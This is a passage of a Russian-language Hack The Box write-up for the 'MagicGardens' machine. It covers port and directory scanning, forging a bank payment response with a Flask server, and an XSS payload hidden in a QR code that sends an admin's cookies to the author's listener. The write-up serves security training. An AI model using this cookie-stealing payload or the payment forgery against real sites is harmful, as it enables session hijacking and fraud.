HTB MagicGardens. Эксплуатируем переполнение буфера и повышаем привилегии в Linux

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Переполнение буфера
  • Локальное повышение привилегий
  • PickleSerializer RCE
  • Побег из Docker

Пе­репол­нение буфера — клас­сичес­кая уяз­вимость, зна­ние которой по‑преж­нему иног­да при­гож­дает­ся. Но преж­де чем доберем­ся до уяз­вимого при­ложе­ния, зах­ватим админку Django, украв куки через XSS. Так­же нам пред­сто­ит про­вес­ти ата­ку через механизм Pickle в Python и сбе­жать из Docker.

На­ша глав­ная цель — получе­ние прав супер­поль­зовате­ля на машине MagicGardens с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.9 magicgardens.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел четыре откры­тых пор­та:

  • 22 — служ­ба OpenSSH 9.2p1;
  • 80 — веб‑сер­вер Nginx 1.22.1;
  • 1337 — неиз­вес­тная служ­ба;
  • 5000 — служ­ба Docker Registry.

Docker Registry исполь­зует HTTP-аутен­тифика­цию, учет­ных дан­ных от SSH у нас пока нет, поэто­му начина­ем с изу­чения дос­тупно­го нам веб‑сай­та.

Глав­ная стра­ница сай­та 

Точка входа

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к ска­ниро­ванию.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, DIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем все парамет­ры и запус­каем ска­ниро­вание:

feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128

Ре­зуль­тат ска­ниро­вания катало­гов

В чис­ле про­чего находим админку Django на стра­нице /admin.

Со­дер­жимое стра­ницы /admin

Так­же на сай­те есть воз­можность авто­риза­ции и регис­тра­ции.

Фор­ма авто­риза­ции

Ав­торизо­ван­ному поль­зовате­лю всег­да дос­тупно боль­ше воз­можнос­тей, поэто­му сра­зу же регис­три­руем­ся. Теперь нам дос­тупны такие фун­кции, как выбор товаров и даже сис­тема под­писки — что‑то вро­де получе­ния пос­тоян­ной скид­ки на товары.

Стра­ница Subscription

Со­обще­ние о зап­росе под­писки

Су­дя по сооб­щению на стра­нице, пос­ле под­твержде­ния бан­ка мы дол­жны были получить QR-код, одна­ко ничего такого не про­изош­ло. А еще при выборе товара нам при­дет сооб­щение от какого‑то morty, который говорит, что если отпра­вим ему QR-код, то получим свою скид­ку.

Вхо­дящие сооб­щения

Пе­рей­дем к Burp History и прой­дем­ся по зап­росам в поис­ках чего‑нибудь ано­маль­ного и инте­рес­ного. Нап­ример, в зап­росе к бан­ку в парамет­ре bank ука­зан какой‑то адрес.

Зап­рос в Burp History

За­пус­тим лис­тенер на пор­те 80, перенап­равим зап­рос в Burp Repeater и ука­жем в парамет­ре bank адрес сво­его сер­вера.

Зап­рос в Burp Repeater

Ло­ги лис­тенера

Лис­тенер засечет HTTP-зап­рос с сер­вера. Так как никако­го отве­та мы не отпра­вили, на сер­вере отоб­ражено не такое сооб­щение, как рань­ше.

Со­обще­ние о недос­тупнос­ти бан­ка

То есть, если мы отве­тим сер­веру, смо­жем получить нуж­ный QR-код.

 

Точка опоры

Сде­лаем на Python сер­вер, который будет отве­чать на зап­рос к /api/payments/.

from flask import Flask, jsonify, requestapp = Flask(__name__)@app.route('/api/payments/', methods=['POST'])def func_payment(): r_json = request.get_json() r_json['status'] = "200" return jsonify(r_json)app.run(host='0.0.0.0', port=80, debug=True)

За­пус­кам код, а затем пов­торя­ем зап­рос с под­меной адре­са сво­им.

Ло­ги сер­вера

Со­обще­ние на стра­нице

Те­перь получа­ем сооб­щение, что под­писка в обра­бот­ке, а при обновле­нии стра­ницы появ­ляет­ся желан­ный QR-код.

Стра­ница Subscription

Рас­шифру­ем QR-код, что­бы понимать, какие дан­ные он хра­нит.

Де­коди­рован­ный QR-код

Ско­рее все­го, morty про­веря­ет имя поль­зовате­ля, ког­да декоди­рует QR-код. Поп­робу­ем вмес­то име­ни акка­унта под­ста­вить код на JavaScript. Прев­ратить его в QR мож­но при помощи он­лай­нового генера­тора.

3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>

Этот код отпра­вит на наш сер­вер cookie поль­зовате­ля. Запус­каем лис­тенер (nc -nlvp 80) и отправ­ляем в ответном сооб­щении поль­зовате­лю morty сге­нери­рован­ный QR-код. Поч­ти сра­зу получа­ем зап­рос с сес­сион­ным иден­тифика­тором поль­зовате­ля.

Ло­ги лис­тенера

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *